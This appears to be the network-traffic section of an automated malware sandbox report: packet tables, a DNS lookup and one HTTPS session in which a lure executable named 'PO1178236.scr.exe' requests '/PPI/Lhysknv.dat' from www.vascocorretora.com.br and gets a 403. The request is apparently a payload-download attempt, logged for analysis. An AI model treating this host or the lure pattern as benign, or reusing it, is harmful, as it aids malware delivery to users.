Jan 9, 2025 08:32:15.947741032 CET	50388	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:15.947761059 CET	443	50388	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.095994949 CET	443	50388	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.096049070 CET	443	50388	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.096086979 CET	443	50388	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.096115112 CET	443	50388	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.096211910 CET	443	50388	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.096245050 CET	50388	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.098041058 CET	50388	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.098041058 CET	50388	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.101680994 CET	50389	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.101725101 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.105922937 CET	50389	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.105922937 CET	50389	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.105961084 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.561094046 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.565630913 CET	50389	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.565643072 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.685672998 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.685728073 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.685810089 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.685830116 CET	50389	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.685848951 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.685890913 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.685971975 CET	443	50389	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.686079979 CET	50389	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.687880039 CET	50390	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.687894106 CET	50389	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.687936068 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:16.689706087 CET	50390	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.693612099 CET	50390	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:16.693648100 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.150840998 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.153362036 CET	50390	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.153376102 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.290584087 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.290643930 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.290682077 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.290692091 CET	50390	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.290714979 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.290745974 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.290755987 CET	50390	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.290760994 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.290801048 CET	50390	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.291518927 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.291588068 CET	443	50390	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.291632891 CET	50390	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.291917086 CET	50390	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.293248892 CET	50391	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.293292999 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.293344021 CET	50391	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.293610096 CET	50391	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.293622017 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.792339087 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.847369909 CET	50391	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.847383022 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.952558994 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.952615976 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.952656984 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.952691078 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.952712059 CET	50391	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.952755928 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.952775002 CET	50391	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.952821016 CET	443	50391	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.952858925 CET	50391	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.972973108 CET	50391	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.994196892 CET	50392	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.994259119 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:17.994329929 CET	50392	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.994693995 CET	50392	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:17.994709969 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.451054096 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.455339909 CET	50392	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:18.455368042 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.576060057 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.576111078 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.576143026 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.576185942 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.576217890 CET	50392	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:18.576255083 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.576280117 CET	50392	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:18.576328039 CET	443	50392	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.576392889 CET	50392	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:18.577332973 CET	50392	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:18.578552961 CET	50393	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:18.578598976 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:18.578725100 CET	50393	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:18.579206944 CET	50393	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:18.579222918 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.059289932 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.063738108 CET	50393	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.063771963 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.210386038 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.210438967 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.210467100 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.210480928 CET	50393	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.210493088 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.210520983 CET	50393	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.210529089 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.210625887 CET	443	50393	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.210661888 CET	50393	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.211848021 CET	50393	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.213059902 CET	50394	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.213104010 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.213166952 CET	50394	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.213413954 CET	50394	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.213424921 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.689690113 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.691293955 CET	50394	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.691333055 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.838767052 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.838814020 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.838867903 CET	50394	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.838890076 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.839345932 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.839375019 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.839378119 CET	50394	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.839385986 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.839418888 CET	50394	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.839426994 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.839454889 CET	443	50394	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.839489937 CET	50394	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.839910030 CET	50394	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.841003895 CET	50395	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.841038942 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:19.841094017 CET	50395	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.841379881 CET	50395	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:19.841387987 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.337836981 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.341315031 CET	50395	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.341330051 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.474780083 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.474828005 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.474867105 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.474891901 CET	50395	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.474905014 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.475363016 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.475398064 CET	50395	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.475404024 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.476006031 CET	50395	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.477121115 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.477169991 CET	443	50395	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.483709097 CET	50395	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.487648010 CET	50395	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.487853050 CET	50396	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.487896919 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.488152981 CET	50396	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.488508940 CET	50396	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.488523006 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.954035044 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:20.955746889 CET	50396	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:20.955784082 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.101413965 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.101471901 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.101510048 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.101516962 CET	50396	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.101547003 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.101578951 CET	50396	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.101581097 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.101591110 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.101630926 CET	50396	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.101635933 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.101685047 CET	443	50396	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.101732969 CET	50396	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.102816105 CET	50396	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.104831934 CET	50397	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.104887009 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.104943037 CET	50397	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.105257034 CET	50397	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.105267048 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.587161064 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.588987112 CET	50397	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.589040995 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.722493887 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.722547054 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.722579002 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.722608089 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.722649097 CET	50397	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.722711086 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.722727060 CET	443	50397	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.722732067 CET	50397	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.722769976 CET	50397	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.723567009 CET	50397	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.724890947 CET	50398	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.724939108 CET	443	50398	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:21.725020885 CET	50398	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.725253105 CET	50398	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:21.725264072 CET	443	50398	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.198576927 CET	443	50398	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.201353073 CET	50398	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.201385975 CET	443	50398	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.345431089 CET	443	50398	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.345479012 CET	443	50398	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.345518112 CET	443	50398	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.345556021 CET	443	50398	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.345659018 CET	443	50398	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.345664024 CET	50398	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.345691919 CET	50398	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.345792055 CET	50398	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.347577095 CET	50398	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.347587109 CET	50399	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.347640038 CET	443	50399	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.349776030 CET	50399	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.349978924 CET	50399	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.349992037 CET	443	50399	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.832580090 CET	443	50399	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.839673042 CET	50399	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.839705944 CET	443	50399	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.958733082 CET	443	50399	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.958775997 CET	443	50399	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.958808899 CET	443	50399	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.958839893 CET	443	50399	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.958914042 CET	443	50399	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.958945036 CET	50399	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.958945036 CET	50399	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.959125996 CET	50399	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.960764885 CET	50399	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.960768938 CET	50400	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.960828066 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:22.961754084 CET	50400	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.964644909 CET	50400	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:22.964673042 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.422934055 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.426003933 CET	50400	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:23.426047087 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.563865900 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.563926935 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.563966990 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.563997984 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.564003944 CET	50400	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:23.564033031 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.564053059 CET	50400	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:23.564121962 CET	443	50400	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.564168930 CET	50400	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:23.564826965 CET	50400	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:23.566816092 CET	50401	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:23.566869974 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:23.566936016 CET	50401	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:23.567186117 CET	50401	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:23.567202091 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.042253971 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.044289112 CET	50401	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.044316053 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.174381018 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.174427986 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.174455881 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.174480915 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.174514055 CET	50401	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.174540997 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.174567938 CET	50401	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.174603939 CET	443	50401	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.175761938 CET	50401	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.175971031 CET	50401	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.177051067 CET	50402	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.177099943 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.177237988 CET	50402	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.177450895 CET	50402	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.177463055 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.642309904 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.645641088 CET	50402	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.645680904 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.765675068 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.765727043 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.765753031 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.765788078 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.765865088 CET	50402	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.765865088 CET	50402	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.765887022 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.765902042 CET	443	50402	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.766035080 CET	50402	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.767801046 CET	50402	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.767807961 CET	50403	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.767857075 CET	443	50403	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:24.767987967 CET	50403	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.768265009 CET	50403	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:24.768280029 CET	443	50403	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:25.245961905 CET	443	50403	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:25.328401089 CET	50403	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:25.705781937 CET	50403	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:25.739867926 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:25.739933968 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:25.740006924 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:25.740412951 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:25.740428925 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.195533991 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.197643042 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.197875977 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.197881937 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.198136091 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.199512005 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.243335009 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.326910019 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.326945066 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.327451944 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.327470064 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.332705021 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.332736015 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.332828045 CET	443	50404	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.332830906 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.333455086 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.333455086 CET	50404	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.334134102 CET	50405	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.334182978 CET	443	50405	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.334589005 CET	50405	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.334589005 CET	50405	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:32:26.334621906 CET	443	50405	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.800102949 CET	443	50405	188.114.96.3	192.168.2.4
Jan 9, 2025 08:32:26.848902941 CET	50405	443	192.168.2.4	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 08:28:20.189215899 CET	59581	53	192.168.2.4	1.1.1.1
Jan 9, 2025 08:28:20.425569057 CET	53	59581	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 08:28:20.189215899 CET	192.168.2.4	1.1.1.1	0xc9fb	Standard query (0)	www.vascocorretora.com.br	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 08:28:20.425569057 CET	1.1.1.1	192.168.2.4	0xc9fb	No error (0)	www.vascocorretora.com.br		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:28:20.425569057 CET	1.1.1.1	192.168.2.4	0xc9fb	No error (0)	www.vascocorretora.com.br		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.vascocorretora.com.br

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:20 UTC	90	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br Connection: Keep-Alive
2025-01-09 07:28:21 UTC	1004	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ItEmowWlMx70dni%2FvA0VERexwQegBX3EZAbTi5PKbfx8HG6Si9brFBpTl9aLRJDUZ1FRDaDImcuc7ANyIbo7jF5P7OK7ympcv53%2BBjZO66YddQQqDBIZNwF%2BmtXx033Hr0DPKJRvEvnmqtxQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5c36c4d0ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&min_rtt=1504&rtt_var=792&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1941489&cwnd=32&unsent_bytes=0&cid=9e6fae44494c757b&ts=174&x=0"
